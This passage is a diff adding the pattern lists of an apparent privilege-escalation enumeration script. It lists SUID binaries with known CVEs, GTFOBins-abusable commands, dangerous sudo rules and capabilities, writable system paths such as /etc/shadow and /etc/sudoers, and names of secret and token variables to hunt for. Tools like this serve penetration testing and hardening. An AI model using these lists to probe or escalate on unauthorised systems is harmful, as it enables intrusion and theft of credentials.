+knw_grps='\(lpadmin\)|\(cdrom\)|\(plugdev\)|\(nogroup\)' # https://www.togaware.com/linux/survivor/Standard_Groups.html
+mygroups=$(groups 2>/dev/null | tr " " "|")
+
+# Default Binaries List
+sidG1="/abuild-sudo$|/accton$|/allocate$|/ARDAgent$|/arping$|/atq$|/atrm$|/authpf$|/authpf-noip$|/authopen$|/batch$|/bbsuid$|/bsd-write$|/btsockstat$|/bwrap$|/cacaocsc$|/camel-lock-helper-1.2$|/ccreds_validate$|/cdrw$|/chage$|/check-foreground-console$|/chrome-sandbox$|/chsh$|/cons.saver$|/crontab$|/ct$|/cu$|/dbus-daemon-launch-helper$|/deallocate$|/desktop-create-kmenu$|/dma$|/dma-mbox-create$|/dmcrypt-get-device$|/doas$|/dotlockfile$|/dotlock.mailutils$|/dtaction$|/dtfile$|/eject$|/execabrt-action-install-debuginfo-to-abrt-cache$|/execdbus-daemon-launch-helper$|/execdma-mbox-create$|/execlockspool$|/execlogin_chpass$|/execlogin_lchpass$|/execlogin_passwd$|/execssh-keysign$|/execulog-helper$|/exim4|/expiry$|/fdformat$|/fstat$|/fusermount$|/fusermount3$"
+sidG2="/gnome-pty-helper$|/glines$|/gnibbles$|/gnobots2$|/gnome-suspend$|/gnometris$|/gnomine$|/gnotski$|/gnotravex$|/gpasswd$|/gpg$|/gpio$|/gtali|/.hal-mtab-lock$|/helper$|/imapd$|/inndstart$|/kismet_cap_nrf_51822$|/kismet_cap_nxp_kw41z$|/kismet_cap_ti_cc_2531$|/kismet_cap_ti_cc_2540$|/kismet_cap_ubertooth_one$|/kismet_capture$|/kismet_cap_linux_bluetooth$|/kismet_cap_linux_wifi$|/kismet_cap_nrf_mousejack$|/ksu$|/list_devices$|/load_osxfuse$|/locate$|/lock$|/lockdev$|/lockfile$|/login_activ$|/login_crypto$|/login_radius$|/login_skey$|/login_snk$|/login_token$|/login_yubikey$|/lpc$|/lpd$|/lpd-port$|/lppasswd$|/lpq$|/lpr$|/lprm$|/lpset$|/lxc-user-nic$|/mahjongg$|/mail-lock$|/mailq$|/mail-touchlock$|/mail-unlock$|/mksnap_ffs$|/mlocate$|/mlock$|/mount$|/mount.cifs$|/mount.ecryptfs_private$|/mount.nfs$|/mount.nfs4$|/mount_osxfuse$|/mtr$|/mutt_dotlock$"
+sidG3="/ncsa_auth$|/netpr$|/netkit-rcp$|/netkit-rlogin$|/netkit-rsh$|/netreport$|/netstat$|/newgidmap$|/newtask$|/newuidmap$|/nvmmctl$|/opieinfo$|/opiepasswd$|/pam_auth$|/pam_extrausers_chkpwd$|/pam_timestamp_check$|/pamverifier$|/pfexec$|/ping$|/ping6$|/pmconfig$|/pmap$|/polkit-agent-helper-1$|/polkit-explicit-grant-helper$|/polkit-grant-helper$|/polkit-grant-helper-pam$|/polkit-read-auth-helper$|/polkit-resolve-exe-helper$|/polkit-revoke-helper$|/polkit-set-default-helper$|/postdrop$|/postqueue$|/poweroff$|/ppp$|/procmail$|/pstat$|/pt_chmod$|/pwdb_chkpwd$|/quota$|/rcmd|/remote.unknown$|/rlogin$|/rmformat$|/rnews$|/run-mailcap$|/sacadm$|/same-gnome$|screen.real$|/security_authtrampoline$|/sendmail.sendmail$|/shutdown$|/skeyaudit$|/skeyinfo$|/skeyinit$|/sliplogin|/slocate$|/smbmnt$|/smbumount$|/smpatch$|/smtpctl$|/sperl5.8.8$|/ssh-agent$|/ssh-keysign$|/staprun$|/startinnfeed$|/stclient$|/su$|/suexec$|/sys-suspend$|/sysstat$|/systat$"
+sidG4="/telnetlogin$|/timedc$|/tip$|/top$|/traceroute6$|/traceroute6.iputils$|/trpt$|/tsoldtlabel$|/tsoljdslabel$|/tsolxagent$|/ufsdump$|/ufsrestore$|/ulog-helper$|/umount.cifs$|/umount.nfs$|/umount.nfs4$|/unix_chkpwd$|/uptime$|/userhelper$|/userisdnctl$|/usernetctl$|/utempter$|/utmp_update$|/uucico$|/uuglist$|/uuidd$|/uuname$|/uusched$|/uustat$|/uux$|/uuxqt$|/VBoxHeadless$|/VBoxNetAdpCtl$|/VBoxNetDHCP$|/VBoxNetNAT$|/VBoxSDL$|/VBoxVolInfo$|/VirtualBoxVM$|/vmstat$|/vmware-authd$|/vmware-user-suid-wrapper$|/vmware-vmx$|/vmware-vmx-debug$|/vmware-vmx-stats$|/vncserver-x11$|/volrmmount$|/w$|/wall$|/whodo$|/write$|/X$|/Xorg.wrap$|/Xsun$|/Xvnc$|/yppasswd$"
+
+# Rules: Start path " /", end path "$", divide path and vulnversion "%". SPACE IS ONLY ALLOWED AT BEGINNING, DONT USE IT IN VULN DESCRIPTION
+sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\
+ /at$%RTru64_UNIX_4.0g\(CVE-2002-1614\)\
+ /abrt-action-install-debuginfo-to-abrt-cache$%CENTOS 7.1/Fedora22
+ /chfn$%SuSE_9.3/10\
+ /chkey$%Solaris_2.5.1\
+ /chkperm$%Solaris_7.0_\
+ /chpass$%2Vulns:OpenBSD_6.1_to_OpenBSD 6.6\(CVE-2019-19726\)--OpenBSD_2.7_i386/OpenBSD_2.6_i386/OpenBSD_2.5_1999/08/06/OpenBSD_2.5_1998/05/28/FreeBSD_4.0-RELEASE/FreeBSD_3.5-RELEASE/FreeBSD_3.4-RELEASE/NetBSD_1.4.2\
+ /chpasswd$%SquirrelMail\(2004-04\)\
+ /dtappgather$%Solaris_7_<_11_\(SPARC/x86\)\(CVE-2017-3622\)\
+ /dtprintinfo$%Solaris_10_\(x86\)_and_lower_versions_also_SunOS_5.7_to_5.10\
+ /dtsession$%Oracle_Solaris_10_1/13_and_earlier\(CVE-2020-2696\)\
+ /eject$%FreeBSD_mcweject_0.9/SGI_IRIX_6.2\
+ /ibstat$%IBM_AIX_Version_6.1/7.1\(09-2013\)\
+ /kcheckpass$%KDE_3.2.0_<-->_3.4.2_\(both_included\)\
+ /kdesud$%KDE_1.1/1.1.1/1.1.2/1.2\
+ /keybase-redirector%CentOS_Linux_release_7.4.1708\
+ /login$%IBM_AIX_3.2.5/SGI_IRIX_6.4\
+ /lpc$%S.u.S.E_Linux_5.2\
+ /lpr$%BSD/OS2.1/FreeBSD2.1.5/NeXTstep4.x/IRIX6.4/SunOS4.1.3/4.1.4\(09-1996\)\
+ /mail.local$%NetBSD_7.0-7.0.1__6.1-6.1.5__6.0-6.0.6
+ /mount$%Apple_Mac_OSX\(Lion\)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8\
+ /movemail$%Emacs\(08-1986\)\
+ /mrinfo$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\
+ /mtrace$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\
+ /netprint$%IRIX_5.3/6.2/6.3/6.4/6.5/6.5.11\
+ /newgrp$%HP-UX_10.20\
+ /ntfs-3g$%Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others\(02-2017\)\
+ /passwd$%Apple_Mac_OSX\(03-2006\)/Solaris_8/9\(12-2004\)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1\(02-1997\)\
+ /pkexec$%Linux4.10_to_5.1.17\(CVE-2019-13272\)/rhel_6\(CVE-2011-1485\)\
+ /pppd$%Apple_Mac_OSX_10.4.8\(05-2007\)\
+ /pt_chown$%GNU_glibc_2.1/2.1.1_-6\(08-1999\)\
+ /pulseaudio$%\(Ubuntu_9.04/Slackware_12.2.0\)\
+ /rcp$%RedHat_6.2\
+ /rdist$%Solaris_10/OpenSolaris\
+ /rsh$%Apple_Mac_OSX_10.9.5/10.10.5\(09-2015\)\
+ /screen$%GNU_Screen_4.5.0\
+ /sdtcm_convert$%Sun_Solaris_7.0\
+ /sendmail$%Sendmail_8.10.1/Sendmail_8.11.x/Linux_Kernel_2.2.x_2.4.0-test1_\(SGI_ProPack_1.2/1.3\)\
+ /snap-confine$%Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation\(CVE-2019-7304\)\
+ /sudo%check_if_the_sudo_version_is_vulnerable\
+ /Serv-U%FTP_Server<15.1.7(CVE-2019-12181)
+ /sudoedit$%Sudo/SudoEdit_1.6.9p21/1.7.2p4/\(RHEL_5/6/7/Ubuntu\)/Sudo<=1.8.14\
+ /tmux$%Tmux_1.3_1.4_privesc\(CVE-2011-1496\)\
+ /traceroute$%LBL_Traceroute_\[2000-11-15\]\
+ /ubuntu-core-launcher$%Befre_1.0.27.1\(CVE-2016-1580\)\
+ /umount$%BSD/Linux\(08-1996\)\
+ /umount-loop$%Rocks_Clusters<=4.1\(07-2006\)\
+ /uucp$%Taylor_UUCP_1.0.6\
+ /XFree86$%XFree86_X11R6_3.3.x/4.0/4.x/3.3\(03-2003\)\
+ /xlock$%BSD/OS_2.1/DG/UX_7.0/Debian_1.3/HP-UX_10.34/IBM_AIX_4.2/SGI_IRIX_6.4/Solaris_2.5.1\(04-1997\)\
+ /xscreensaver%Solaris_11.x\(CVE-2019-3010\)\
+ /xorg$%Xorg_1.19_to_1.20.x\(CVE_2018-14665\)/xorg-x11-server<=1.20.3/AIX_7.1_\(6.x_to_7.x_should_be_vulnerable\)_X11.base.rte<7.1.5.32_and_\
+ /xterm$%Solaris_5.5.1_X11R6.3\(05-1997\)/Debian_xterm_version_222-1etch2\(01-2009\)"
+# To update sidVB: curl https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins 2>/dev/null | grep 'href="/GTFOBins/' | grep '.md">' | awk -F 'title="' '{print $2}' | cut -d '"' -f1 | cut -d "." -f1 | sed -e 's,^,/,' | sed -e 's,$,\$,' | tr '\n' '|'
+sidVB='/aa-exec$|/ab$|/agetty$|/alpine$|/ar$|/aria2c$|/arj$|/arp$|/as$|/ascii-xfr$|/ash$|/aspell$|/atobm$|/awk$|/base32$|/base64$|/basenc$|/basez$|/bash$|/batcat$|/bc$|/bridge$|/busctl$|/busybox$|/byebug$|/bzip2$|/cabal$|/capsh$|/cat$|/chmod$|/choom$|/chown$|/chroot$|/clamscan$|/cmp$|/column$|/comm$|/composer$|/cp$|/cpio$|/cpulimit$|/csh$|/csplit$|/csvtool$|/cupsfilter$|/curl$|/cut$|/dash$|/date$|/dc$|/dd$|/debugfs$|/dialog$|/diff$|/dig$|/distcc$|/dmsetup$|/docker$|/dosbox$|/dvips$|/ed$|/efax$|/elvish$|/emacs$|/env$|/eqn$|/espeak$|/expand$|/expect$|/file$|/find$|/fish$|/flock$|/fmt$|/fold$|/gawk$|/gcore$|/gdb$|/genie$|/genisoimage$|/gimp$|/ginsh$|/git$|/grep$|/gtester$|/gzip$|/hd$|/head$|/hexdump$|/highlight$|/hping3$|/iconv$|/iftop$|/install$|/ionice$|/ip$|/ispell$|/jjs$|/joe$|/join$|/jq$|/jrunscript$|/julia$|/ksh$|/ksshell$|/kubectl$|/latex$|/ldconfig$|/less$|/lftp$|/links$|/logsave$|/look$|/lua$|/lualatex$|/luatex$|/make$|/mawk$|/minicom$|/more$|/mosquitto$|/msgattrib$|/msgcat$|/msgconv$|/msgfilter$|/msgmerge$|/msguniq$|/multitime$|/mv$'
+sidVB2='/mysql$|/nano$|/nasm$|/nawk$|/nc$|/ncdu$|/ncftp$|/nft$|/nice$|/nl$|/nm$|/nmap$|/node$|/nohup$|/ntpdate$|/octave$|/od$|/openssl$|/openvpn$|/pandoc$|/paste$|/pdflatex$|/pdftex$|/perf$|/perl$|/pexec$|/pg$|/php$|/pic$|/pico$|/pidstat$|/posh$|/pr$|/pry$|/psftp$|/ptx$|/python$|/rake$|/rc$|/readelf$|/restic$|/rev$|/rlwrap$|/rpm$|/rpmdb$|/rpmquery$|/rpmverify$|/rsync$|/rtorrent$|/run-parts$|/runscript$|/rview$|/rvim$|/sash$|/scanmem$|/scp$|/scrot$|/sed$|/setarch$|/setfacl$|/setlock$|/shuf$|/slsh$|/socat$|/soelim$|/softlimit$|/sort$|/sqlite3$|/ss$|/ssh-agent$|/ssh-keygen$|/ssh-keyscan$|/sshpass$|/start-stop-daemon$|/stdbuf$|/strace$|/strings$|/sysctl$|/systemctl$|/tac$|/tail$|/tar$|/taskset$|/tasksh$|/tbl$|/tclsh$|/tdbtool$|/tee$|/telnet$|/terraform$|/tex$|/tftp$|/tic$|/time$|/timeout$|/tmate$|/troff$|/ul$|/unexpand$|/uniq$|/unshare$|/unsquashfs$|/unzip$|/update-alternatives$|/uudecode$|/uuencode$|/vagrant$|/varnishncsa$|/view$|/vigr$|/vim$|/vimdiff$|/vipw$|/w3m$|/watch$|/wc$|/wget$|/whiptail$|/xargs$|/xdotool$|/xelatex$|/xetex$|/xmodmap$|/xmore$|/xxd$|/xz$|/yash$|/zip$|/zsh$|/zsoelim$'
+cfuncs='file|free|main|more|read|split|write'
+
+sudoVB1=" \*|env_keep\W*\+=.*LD_PRELOAD|env_keep\W*\+=.*LD_LIBRARY_PATH|7z$|aa-exec$|ab$|alpine$|ansible-playbook$|ansible-test$|aoss$|apache2ctl$|apt-get$|apt$|ar$|aria2c$|arj$|arp$|as$|ascii-xfr$|ascii85$|ash$|aspell$|at$|atobm$|awk$|aws$|base32$|base58$|base64$|basenc$|basez$|bash$|batcat$|bc$|bconsole$|bpftrace$|bridge$|bundle$|bundler$|busctl$|busybox$|byebug$|bzip2$|c89$|c99$|cabal$|capsh$|cat$|cdist$|certbot$|check_by_ssh$|check_cups$|check_log$|check_memory$|check_raid$|check_ssl_cert$|check_statusfile$|chmod$|choom$|chown$|chroot$|clamscan$|cmp$|cobc$|column$|comm$|composer$|cowsay$|cowthink$|cp$|cpan$|cpio$|cpulimit$|crash$|crontab$|csh$|csplit$|csvtool$|cupsfilter$|curl$|cut$|dash$|date$|dc$|dd$|debugfs$|dialog$|diff$|dig$|distcc$|dmesg$|dmidecode$|dmsetup$|dnf$|docker$|dosbox$|dotnet$|dpkg$|dstat$|dvips$|easy_install$|eb$|ed$|efax$|elvish$|emacs$|enscript$|env$|eqn$|espeak$|ex$|exiftool$|expand$|expect$|facter$|file$|find$|fish$|flock$|fmt$|fold$|fping$|ftp$|gawk$|gcc$|gcloud$|gcore$|gdb$|gem$|genie$|genisoimage$|ghc$|ghci$|gimp$|ginsh$|git$|grc$|grep$|gtester$|gzip$|hd$|head$|hexdump$|highlight$|hping3$|iconv$|iftop$|install$|ionice$|ip$|irb$|ispell$|jjs$|joe$|join$|journalctl$|jq$|jrunscript$|jtag$|julia$|knife$|ksh$|ksshell$|ksu$|kubectl$|latex$|latexmk$|ldconfig$|less$|lftp$|links$|ln$|loginctl$|logsave$|look$|ltrace$|lua$|lualatex$|luatex$|lwp-download$|lwp-request$|mail$|make$|man$|mawk$|minicom$|more$|mosquitto$|mount$|msfconsole$"
+sudoVB2="msgattrib$|msgcat$|msgconv$|msgfilter$|msgmerge$|msguniq$|mtr$|multitime$|mv$|mysql$|nano$|nasm$|nawk$|nc$|ncdu$|ncftp$|neofetch$|nft$|nice$|nl$|nm$|nmap$|node$|nohup$|npm$|nroff$|nsenter$|ntpdate$|octave$|od$|openssl$|openvpn$|openvt$|opkg$|pandoc$|paste$|pdb$|pdflatex$|pdftex$|perf$|perl$|perlbug$|pexec$|pg$|php$|pic$|pico$|pidstat$|pip$|pkexec$|pkg$|posh$|pr$|pry$|psftp$|psql$|ptx$|puppet$|pwsh$|python$|rake$|rc$|readelf$|red$|redcarpet$|restic$|rev$|rlwrap$|rpm$|rpmdb$|rpmquery$|rpmverify$|rsync$|ruby$|run-mailcap$|run-parts$|runscript$|rview$|rvim$|sash$|scanmem$|scp$|screen$|script$|scrot$|sed$|service$|setarch$|setfacl$|setlock$|sftp$|sg$|shuf$|slsh$|smbclient$|snap$|socat$|soelim$|softlimit$|sort$|split$|sqlite3$|sqlmap$|ss$|ssh-agent$|ssh-keygen$|ssh-keyscan$|ssh$|sshpass$|start-stop-daemon$|stdbuf$|strace$|strings$|su$|sudo$|sysctl$|systemctl$|systemd-resolve$|tac$|tail$|tar$|task$|taskset$|tasksh$|tbl$|tclsh$|tcpdump$|tdbtool$|tee$|telnet$|terraform$|tex$|tftp$|tic$|time$|timedatectl$|timeout$|tmate$|tmux$|top$|torify$|torsocks$|troff$|ul$|unexpand$|uniq$|unshare$|unsquashfs$|unzip$|update-alternatives$|uudecode$|uuencode$|vagrant$|valgrind$|varnishncsa$|vi$|view$|vigr$|vim$|vimdiff$|vipw$|virsh$|w3m$|wall$|watch$|wc$|wget$|whiptail$|wireshark$|wish$|xargs$|xdg-user-dir$|xdotool$|xelatex$|xetex$|xmodmap$|xmore$|xpad$|xxd$|xz$|yarn$|yash$|yum$|zathura$|zip$|zsh$|zsoelim$|zypper$"
+sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|env_keep|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount"
+sudoG="NOEXEC"
+
+capsVB="cap_sys_admin:mount|python \
+cap_sys_ptrace:python \
+cap_sys_module:kmod|python \
+cap_dac_override:python|vim \
+cap_chown:chown|python \
+cap_former:chown|python \
+cap_setuid:gdb|node|perl|php|python|ruby|rview|rvim|view|vim|vimdiff \
+cap_setgid:gdb|node|perl|php|python|ruby|rview|rvim|view|vim|vimdiff \
+cap_net_raw:python|tcpdump"
+
+
+capsB="=ep|cap_chown|cap_former|cap_setfcap|cap_dac_override|cap_dac_read_search|cap_setuid|cap_setgid|cap_kill|cap_net_bind_service|cap_net_raw|cap_net_admin|cap_sys_admin|cap_sys_ptrace|cap_sys_module"
+containercapsB="sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override|sys_rawio|syslog|net_raw|net_admin"
+
+OLDPATH=$PATH
+ADDPATH=":/usr/local/sbin\
+ :/usr/local/bin\
+ :/usr/sbin\
+ :/usr/bin\
+ :/sbin\
+ :/bin"
+spath=":$PATH"
+for P in $ADDPATH; do
+ if [ "${spath##*$P*}" ]; then export PATH="$PATH$P" 2>/dev/null; fi
+done
+
+# Test if sed supports -E or -r
+E=E
+echo | sed -${E} 's/o/a/' 2>/dev/null
+if [ $? -ne 0 ] ; then
+ echo | sed -r 's/o/a/' 2>/dev/null
+ if [ $? -eq 0 ] ; then
+ E=r
+ else
+ echo "${YELLOW}WARNING: No suitable option found for extended regex with sed. Continuing but the results might be unreliable.${NC}"
+ fi
+fi
+
+writeB="00-header|10-help-text|50-motd-news|80-esm|91-release-upgrade|\.sh$|\./|/authorized_keys|/bin/|/boot/|/etc/apache2/apache2.conf|/etc/apache2/httpd.conf|/etc/hosts.allow|/etc/hosts.deny|/etc/httpd/conf/httpd.conf|/etc/httpd/httpd.conf|/etc/inetd.conf|/etc/incron.conf|/etc/login.defs|/etc/logrotate.d/|/etc/modprobe.d/|/etc/pam.d/|/etc/php.*/fpm/pool.d/|/etc/php/.*/fpm/pool.d/|/etc/rsyslog.d/|/etc/skel/|/etc/sysconfig/network-scripts/|/etc/sysctl.conf|/etc/sysctl.d/|/etc/uwsgi/apps-enabled/|/etc/xinetd.conf|/etc/xinetd.d/|/etc/|/home//|/lib/|/log/|/mnt/|/root|/sys/|/usr/bin|/usr/games|/usr/lib|/usr/local/bin|/usr/local/games|/usr/local/sbin|/usr/sbin|/sbin/|/var/log/|\.timer$|\.service$|.socket$"
+writeVB="/etc/anacrontab|/etc/apt/apt.conf.d|/etc/bash.bashrc|/etc/bash_completion|/etc/bash_completion.d/|/etc/cron|/etc/environment|/etc/environment.d/|/etc/group|/etc/incron.d/|/etc/init|/etc/ld.so.conf.d/|/etc/master.passwd|/etc/passwd|/etc/profile.d/|/etc/profile|/etc/rc.d|/etc/shadow|/etc/skey/|/etc/sudoers|/etc/sudoers.d/|/etc/supervisor/conf.d/|/etc/supervisor/supervisord.conf|/etc/systemd|/etc/sys|/lib/systemd|/etc/update-motd.d/|/root/.ssh/|/run/systemd|/usr/lib/cron/tabs/|/usr/lib/systemd|/systemd/system|/var/db/yubikey/|/var/spool/anacron|/var/spool/cron/crontabs|"$(echo $PATH 2>/dev/null | sed 's/:\.:/:/g' | sed 's/:\.$//g' | sed 's/^\.://g' | sed 's/:/$|^/g') #Add Path but remove simple dot in PATH
+
+if [ "$MACPEAS" ]; then
+ sh_usrs="ImPoSSssSiBlEee"
+ nosh_usrs="ImPoSSssSiBlEee"
+ dscl . list /Users | while read uname; do
+ ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2)
+ if grep -q \"$ushell\" /etc/shells; then sh_usrs="$sh_usrs|$uname"; else nosh_usrs="$nosh_usrs|$uname"; fi
+ done
+else
+ sh_usrs=$(cat /etc/passwd 2>/dev/null | grep -v "^root:" | grep -i "sh$" | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/' | sed 's/|sys|/|sys[\\\s:]|^sys$|/' | sed 's/|daemon|/|daemon[\\\s:]|^daemon$|/')"ImPoSSssSiBlEee" #Modified bin, sys and daemon so they are not colored everywhere
+ # Surround each username with word boundary character '\b' to prevent false positives caused by short user names (e.g. user "sys" shouldn't highlight partial match on "system")
+ nosh_usrs=$(cat /etc/passwd 2>/dev/null | grep -i -v "sh$" |awk '{ print "\\b" $0 }' | sort | cut -d ":" -f 1 | sed s/$/\\\\b/g | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/')"ImPoSSssSiBlEee"
+fi
+knw_usrs='_amavisd|_analyticsd|_appinstalld|_appleevents|_applepay|_appowner|_appserver|_appstore|_ard|_assetcache|_astris|_atsserver|_avbdeviced|_calendar|_captiveagent|_ces|_clamav|_cmiodalassistants|_coreaudiod|_coremediaiod|_coreml|_ctkd|_cvmsroot|_cvs|_cyrus|_datadetectors|_demod|_devdocs|_devicemgr|_diskimagesiod|_displaypolicyd|_distnote|_dovecot|_dovenull|_dpaudio|_driverkit|_eppc|_findmydevice|_fpsd|_ftp|_fud|_gamecontrollerd|_geod|_hidd|_iconservices|_installassistant|_installcoordinationd|_installer|_jabber|_kadmin_admin|_kadmin_changepw|_knowledgegraphd|_krb_anonymous|_krb_changepw|_krb_kadmin|_krb_kerberos|_krb_krbtgt|_krbfast|_krbtgt|_launchservicesd|_lda|_locationd|_logd|_lp|_mailman|_mbsetupuser|_mcxalr|_mdnsresponder|_mobileasset|_mysql|_nearbyd|_netbios|_netstatistics|_networkd|_nsurlsessiond|_nsurlstoraged|_oahd|_ondemand|_postfix|_postgres|_qtss|_reportmemoryexception|_rmd|_sandbox|_screensaver|_scsd|_securityagent|_softwareupdate|_spotlight|_sshd|_svn|_taskgated|_teamsserver|_timed|_timezone|_tokend|_trustd|_trustevaluationagent|_unknown|_update_sharing|_usbmuxd|_uucp|_warmd|_webauthserver|_windowserver|_www|_wwwproxy|_xserverdocs|daemon\W|^daemon$|message\+|syslog|www|www-data|mail|nobody|Debian\-\+|rtkit|systemd\+'
+if ! [ "$USER" ]; then
+ USER=$(whoami 2>/dev/null || echo -n "UserUnknown")
+fi
+if [ ! "$HOME" ]; then
+ if [ -d "/Users/$USER" ]; then HOME="/Users/$USER"; # Mac home
+ else HOME="/home/$USER";
+ fi
+fi
+Groups="ImPoSSssSiBlEee"$(groups "$USER" 2>/dev/null | cut -d ":" -f 2 | tr ' ' '|')
+
+# These variables are divided into several different ones because NetBSD requires that.
+pwd_inside_history="az login|enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|roadrecon auth|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|Save-AzContext|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:|chpasswd"
+
+pwd_in_variables1="Dgpg.passphrase|Dsonar.login|Dsonar.projectKey|GITHUB_TOKEN|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|PUSHOVER_TOKEN|PUSHOVER_USER|VIRUSTOTAL_APIKEY|ACCESSKEY|ACCESSKEYID|ACCESS_KEY|ACCESS_KEY_ID|ACCESS_KEY_SECRET|ACCESS_SECRET|ACCESS_TOKEN|ACCOUNT_SID|ADMIN_EMAIL|ADZERK_API_KEY|ALGOLIA_ADMIN_KEY_1|ALGOLIA_ADMIN_KEY_2|ALGOLIA_ADMIN_KEY_MCM|ALGOLIA_API_KEY|ALGOLIA_API_KEY_MCM|ALGOLIA_API_KEY_SEARCH|ALGOLIA_APPLICATION_ID|ALGOLIA_APPLICATION_ID_1|ALGOLIA_APPLICATION_ID_2|ALGOLIA_APPLICATION_ID_MCM|ALGOLIA_APP_ID|ALGOLIA_APP_ID_MCM|ALGOLIA_SEARCH_API_KEY|ALGOLIA_SEARCH_KEY|ALGOLIA_SEARCH_KEY_1|ALIAS_NAME|ALIAS_PASS|ALICLOUD_ACCESS_KEY|ALICLOUD_SECRET_KEY|amazon_bucket_name|AMAZON_SECRET_ACCESS_KEY|ANDROID_DOCS_DEPLOY_TOKEN|android_sdk_license|android_sdk_preview_license|aos_key|aos_sec|APIARY_API_KEY|APIGW_ACCESS_TOKEN|API_KEY|API_KEY_MCM|API_KEY_SECRET|API_KEY_SID|API_SECRET|appClientSecret|APP_BUCKET_PERM|APP_NAME|APP_REPORT_TOKEN_KEY|APP_TOKEN|ARGOS_TOKEN|ARTIFACTORY_KEY|ARTIFACTS_AWS_ACCESS_KEY_ID|ARTIFACTS_AWS_SECRET_ACCESS_KEY|ARTIFACTS_BUCKET|ARTIFACTS_KEY|ARTIFACTS_SECRET|ASSISTANT_IAM_APIKEY|AURORA_STRING_URL|AUTH0_API_CLIENTID|AUTH0_API_CLIENTSECRET|AUTH0_AUDIENCE|AUTH0_CALLBACK_URL|AUTH0_CLIENT_ID"
+pwd_in_variables2="AUTH0_CLIENT_SECRET|AUTH0_CONNECTION|AUTH0_DOMAIN|AUTHOR_EMAIL_ADDR|AUTHOR_NPM_API_KEY|AUTH_TOKEN|AWS-ACCT-ID|AWS-KEY|AWS-SECRETS|AWS.config.accessKeyId|AWS.config.secretAccessKey|AWSACCESSKEYID|AWSCN_ACCESS_KEY_ID|AWSCN_SECRET_ACCESS_KEY|AWSSECRETKEY|AWS_ACCESS|AWS_ACCESS_KEY|AWS_ACCESS_KEY_ID|AWS_CF_DIST_ID|AWS_DEFAULT|AWS_DEFAULT_REGION|AWS_S3_BUCKET|AWS_SECRET|AWS_SECRET_ACCESS_KEY|AWS_SECRET_KEY|AWS_SES_ACCESS_KEY_ID|AWS_SES_SECRET_ACCESS_KEY|B2_ACCT_ID|B2_APP_KEY|B2_BUCKET|baseUrlTravis|bintrayKey|bintrayUser|BINTRAY_APIKEY|BINTRAY_API_KEY|BINTRAY_KEY|BINTRAY_TOKEN|BINTRAY_USER|BLUEMIX_ACCOUNT|BLUEMIX_API_KEY|BLUEMIX_AUTH|BLUEMIX_NAMESPACE|BLUEMIX_ORG|BLUEMIX_ORGANIZATION|BLUEMIX_PASS|BLUEMIX_PASS_PROD|BLUEMIX_SPACE|BLUEMIX_USER|BRACKETS_REPO_OAUTH_TOKEN|BROWSERSTACK_ACCESS_KEY|BROWSERSTACK_PROJECT_NAME|BROWSER_STACK_ACCESS_KEY|BUCKETEER_AWS_ACCESS_KEY_ID|BUCKETEER_AWS_SECRET_ACCESS_KEY|BUCKETEER_BUCKET_NAME|BUILT_BRANCH_DEPLOY_KEY|BUNDLESIZE_GITHUB_TOKEN|CACHE_S3_SECRET_KEY|CACHE_URL|CARGO_TOKEN|CATTLE_ACCESS_KEY|CATTLE_AGENT_INSTANCE_AUTH|CATTLE_SECRET_KEY|CC_TEST_REPORTER_ID|CC_TEST_REPOTER_ID|CENSYS_SECRET|CENSYS_UID|CERTIFICATE_OSX_P12|CF_ORGANIZATION|CF_PROXY_HOST|channelId|CHEVERNY_TOKEN|CHROME_CLIENT_ID"
+pwd_in_variables3="CHROME_CLIENT_SECRET|CHROME_EXTENSION_ID|CHROME_REFRESH_TOKEN|CI_DEPLOY_USER|CI_NAME|CI_PROJECT_NAMESPACE|CI_PROJECT_URL|CI_REGISTRY_USER|CI_SERVER_NAME|CI_USER_TOKEN|CLAIMR_DATABASE|CLAIMR_DB|CLAIMR_SUPERUSER|CLAIMR_TOKEN|CLIENT_ID|CLIENT_SECRET|CLI_E2E_CMA_TOKEN|CLI_E2E_ORG_ID|CLOUDAMQP_URL|CLOUDANT_APPLIANCE_DATABASE|CLOUDANT_ARCHIVED_DATABASE|CLOUDANT_AUDITED_DATABASE|CLOUDANT_DATABASE|CLOUDANT_ORDER_DATABASE|CLOUDANT_PARSED_DATABASE|CLOUDANT_PROCESSED_DATABASE|CLOUDANT_SERVICE_DATABASE|CLOUDFLARE_API_KEY|CLOUDFLARE_AUTH_EMAIL|CLOUDFLARE_AUTH_KEY|CLOUDFLARE_EMAIL|CLOUDFLARE_ZONE_ID|CLOUDINARY_URL|CLOUDINARY_URL_EU|CLOUDINARY_URL_STAGING|CLOUD_API_KEY|CLUSTER_NAME|CLU_REPO_URL|CLU_SSH_PRIVATE_KEY_BASE64|CN_ACCESS_KEY_ID|CN_SECRET_ACCESS_KEY|COCOAPODS_TRUNK_EMAIL|COCOAPODS_TRUNK_TOKEN|CODACY_PROJECT_TOKEN|CODECLIMATE_REPO_TOKEN|CODECOV_TOKEN|coding_token|CONEKTA_APIKEY|CONFIGURATION_PROFILE_SID|CONFIGURATION_PROFILE_SID_P2P|CONFIGURATION_PROFILE_SID_SFU|CONSUMERKEY|CONSUMER_KEY|CONTENTFUL_ACCESS_TOKEN|CONTENTFUL_CMA_TEST_TOKEN|CONTENTFUL_INTEGRATION_MANAGEMENT_TOKEN|CONTENTFUL_INTEGRATION_SOURCE_SPACE|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN_NEW|CONTENTFUL_ORGANIZATION"
